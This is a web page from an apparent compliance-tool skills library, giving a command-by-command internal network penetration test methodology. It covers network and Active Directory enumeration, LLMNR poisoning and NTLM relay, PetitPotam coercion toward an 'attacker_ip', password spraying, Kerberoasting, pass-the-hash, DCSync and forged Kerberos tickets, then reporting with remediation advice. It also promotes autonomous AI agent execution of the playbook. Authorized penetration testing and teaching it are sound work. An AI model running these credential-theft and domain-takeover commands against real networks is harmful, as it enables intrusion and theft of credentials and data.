CG
SkillsConducting Internal Network Penetration Test
Start Free
Back to Skills Library
Penetration Testing๐ŸŸก Intermediate

Conducting Internal Network Penetration Test

Execute an internal network penetration test simulating an insider threat or post-breach attacker to identify lateral movement paths, privilege escalation vectors, and sensitive data exposure within the corporate network.

5 min read10 code examples

Prerequisites

  • Signed Rules of Engagement with internal network scope
  • Network access: physical Ethernet drop or VPN connection to internal VLAN
  • Standard domain user credentials (assumed breach model) or unauthenticated access
  • Testing laptop with Kali Linux, Impacket, Responder, BloodHound
  • Coordination with IT/SOC for monitoring and emergency contacts

Conducting Internal Network Penetration Test

Overview

An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. the security assessor operates from an "assumed breach" position โ€” typically a standard domain workstation or network jack โ€” and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint.

Prerequisites

  • Signed Rules of Engagement with internal network scope
  • Network access: physical Ethernet drop or VPN connection to internal VLAN
  • Standard domain user credentials (assumed breach model) or unauthenticated access
  • Testing laptop with Kali Linux, Impacket, Responder, BloodHound
  • Coordination with IT/SOC for monitoring and emergency contacts

Phase 1 โ€” Network Discovery and Enumeration

Initial Network Reconnaissance

# Identify your own network position
ip addr show
ip route show
cat /etc/resolv.conf

# ARP scan for live hosts on local subnet
arp-scan --localnet --interface eth0

# Nmap host discovery across internal ranges
nmap -sn 10.0.0.0/8 --exclude 10.0.0.1 -oG internal_hosts.gnmap
nmap -sn 172.16.0.0/12 -oG internal_hosts_172.gnmap
nmap -sn 192.168.0.0/16 -oG internal_hosts_192.gnmap

# Extract live hosts
grep "Status: Up" internal_hosts.gnmap | awk '{print $2}' > live_hosts.txt

# Port scan live hosts โ€” top 1000 ports
nmap -sS -sV -T4 -iL live_hosts.txt -oA internal_tcp_scan

# Service-specific scans
nmap -p 445 --open -iL live_hosts.txt -oG smb_hosts.gnmap
nmap -p 3389 --open -iL live_hosts.txt -oG rdp_hosts.gnmap
nmap -p 22 --open -iL live_hosts.txt -oG ssh_hosts.gnmap
nmap -p 1433,3306,5432,1521,27017 --open -iL live_hosts.txt -oG db_hosts.gnmap

Active Directory Enumeration

# Enumerate domain information with domain credentials
# Using CrackMapExec / NetExec
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --shares
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --users
netexec smb 10.0.0.0/24 -u 'testuser' -p 'Password123' --groups

# LDAP enumeration
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --lsa

# BloodHound data collection
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local -ns 10.0.0.5 -c all
# Import JSON files into BloodHound GUI for attack path analysis

# Enum4linux-ng for legacy enumeration
enum4linux-ng -A 10.0.0.5 -u 'testuser' -p 'Password123'

Network Service Enumeration

# SMB share enumeration
smbclient -L //10.0.0.10 -U 'testuser%Password123'
smbmap -H 10.0.0.10 -u 'testuser' -p 'Password123' -R

# SNMP enumeration
snmpwalk -v2c -c public 10.0.0.1

# DNS zone transfer attempt
dig axfr corp.local @10.0.0.5

# NFS enumeration
showmount -e 10.0.0.15

# MSSQL enumeration
impacket-mssqlclient 'corp.local/testuser:Password123@10.0.0.20' -windows-auth

Phase 2 โ€” Credential Attacks

Network Credential Capture

# Responder โ€” LLMNR/NBT-NS/mDNS poisoning
sudo responder -I eth0 -dwPv

# Capture NTLMv2 hashes from Responder logs
cat /usr/share/responder/logs/NTLMv2-*.txt

# mitm6 โ€” IPv6 DNS takeover
sudo mitm6 -d corp.local

# ntlmrelayx โ€” relay captured credentials
impacket-ntlmrelayx -tf smb_targets.txt -smb2support -socks

# PetitPotam โ€” coerce NTLM authentication
python3 PetitPotam.py -u 'testuser' -p 'Password123' -d corp.local \
  attacker_ip 10.0.0.5

Password Attacks

# Crack captured NTLMv2 hashes
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Password spraying (careful with lockout policies)
netexec smb 10.0.0.5 -u users.txt -p 'Spring2025!' --no-bruteforce
netexec smb 10.0.0.5 -u users.txt -p 'Company2025!' --no-bruteforce

# Kerberoasting โ€” target service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast_hashes.txt
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roasting โ€” target accounts without pre-auth
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Phase 3 โ€” Exploitation and Lateral Movement

Lateral Movement Techniques

# Pass-the-Hash with Impacket
impacket-psexec 'corp.local/admin@10.0.0.30' -hashes :aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b

# WMI execution
impacket-wmiexec 'corp.local/admin:AdminPass123@10.0.0.30'

# Evil-WinRM for PowerShell remoting
evil-winrm -i 10.0.0.30 -u admin -p 'AdminPass123'

# SMBExec
impacket-smbexec 'corp.local/admin:AdminPass123@10.0.0.30'

# RDP access
xfreerdp /v:10.0.0.30 /u:admin /p:'AdminPass123' /cert-ignore /dynamic-resolution

# SSH pivoting
ssh -D 9050 user@10.0.0.40
proxychains nmap -sT -p 80,443,445,3389 10.10.0.0/24

Privilege Escalation

# Windows privilege escalation
# Check for local admin via token impersonation
meterpreter> getsystem
meterpreter> run post/multi/recon/local_exploit_suggester

# PowerShell-based privesc checks
# Run PowerUp
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"

# Check for unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """

# Linux privilege escalation
./linpeas.sh
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab

Domain Escalation

# DCSync attack (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:DaPass123@10.0.0.5' -just-dc

# Golden Ticket attack
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator

# Silver Ticket attack
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/db01.corp.local administrator

# ADCS exploitation (Certifried, ESC1-ESC8)
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5
certipy req -u 'testuser@corp.local' -p 'Password123' -target ca01.corp.local \
  -template VulnerableTemplate -ca CORP-CA -upn administrator@corp.local

Phase 4 โ€” Data Access and Impact Demonstration

# Access sensitive file shares
smbclient //10.0.0.10/Finance -U 'domainadmin%DaPass123'
> dir
> get Q4_Financial_Report.xlsx

# Database access
impacket-mssqlclient 'sa:DbPassword123@10.0.0.20'
SQL> SELECT name FROM sys.databases;
SQL> SELECT TOP 10 * FROM customers;

# Extract proof of access (DO NOT exfiltrate real data)
echo "PENTEST-PROOF-INTERNAL-$(date +%Y%m%d)" > /tmp/proof.txt

# Document access chain
# Initial Access -> Responder -> NTLMv2 crack -> Lateral to WS01
# -> Local admin -> Mimikatz -> DA creds -> DCSync -> Full domain compromise

Phase 5 โ€” Reporting

Attack Path Documentation

Attack Path 1: Domain Compromise via LLMNR Poisoning
  Step 1: LLMNR/NBT-NS poisoning captured NTLMv2 hash (T1557.001)
  Step 2: Hash cracked offline โ€” user: jsmith, password: Welcome2025!
  Step 3: jsmith had local admin on WS042 โ€” lateral movement via PsExec (T1021.002)
  Step 4: Mimikatz extracted DA credentials from WS042 memory (T1003.001)
  Step 5: DCSync with DA credentials โ€” all domain hashes extracted (T1003.006)
  Impact: Complete domain compromise from unauthenticated network position

Findings Severity Matrix

FindingCVSSMITRE ATT&CKRemediation
LLMNR/NBT-NS poisoning8.1T1557.001Disable LLMNR/NBT-NS via GPO
Kerberoastable service accounts7.5T1558.003Use gMSA, 25+ char passwords
Local admin reuse8.4T1078Deploy LAPS, unique local admin passwords
Weak domain passwords7.2T1110Enforce 14+ char minimum, blacklist common passwords
Unrestricted DCSync9.8T1003.006Audit replication rights, implement tiered admin model

Tools Reference

ToolPurpose
ResponderLLMNR/NBT-NS/mDNS poisoning
ImpacketAD attack suite (secretsdump, psexec, wmiexec, etc.)
BloodHoundAD attack path visualization
NetExec (CrackMapExec)Network service enumeration and spraying
Evil-WinRMPowerShell remoting client
CertipyAD Certificate Services exploitation
MimikatzWindows credential extraction
HashcatPassword hash cracking
NmapNetwork scanning and enumeration
LinPEAS/WinPEASPrivilege escalation enumeration

Verification Criteria

Confirm successful execution by validating:

  • [ ] All prerequisite tools and access requirements are satisfied
  • [ ] Each workflow step completed without errors
  • [ ] Output matches expected format and contains expected data
  • [ ] No security warnings or misconfigurations detected
  • [ ] Results are documented and evidence is preserved for audit

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
  • ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
  • NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
  • NIST CSF: ID.RA (Risk Assessment)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add conducting-internal-network-penetration-test

# Or load dynamically via MCP
grc.load_skill("conducting-internal-network-penetration-test")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact โ€” successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

References

  • Cobalt Internal Network Pentesting Methodology: https://docs.cobalt.io/methodologies/internal-network/
  • MITRE ATT&CK Enterprise: https://attack.mitre.org/matrices/enterprise/
  • PTES: http://www.pentest-standard.org/
  • Impacket: https://github.com/fortra/impacket
  • BloodHound: https://github.com/BloodHoundAD/BloodHound

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add conducting-internal-network-penetration-test
// Or via MCP
grc.load_skill("conducting-internal-network-penetration-test")

Tags

internal-pentestlateral-movementprivilege-escalationResponderImpacketassumed-breachnetwork-security

Related Skills

Penetration Testing

Performing Active Directory Penetration Test

5mยทadvanced
Penetration Testing

Performing Privilege Escalation Assessment

8mยทintermediate
Network Security

Detecting Lateral Movement in Network

10mยทintermediate
Deception Technology

Implementing Network Deception with Honeypots

3mยทintermediate
Penetration Testing

Performing External Network Penetration Test

6mยทadvanced
Penetration Testing

Conducting API Security Testing

7mยทintermediate

Skill Details

Domain
Penetration Testing
Difficulty
intermediate
Read Time
5 min
Code Examples
10

On This Page

OverviewPrerequisitesPhase 1 โ€” Network Discovery and EnumerationPhase 2 โ€” Credential AttacksPhase 3 โ€” Exploitation and Lateral MovementPhase 4 โ€” Data Access and Impact DemonstrationPhase 5 โ€” ReportingTools ReferenceReferencesVerification CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free โ†’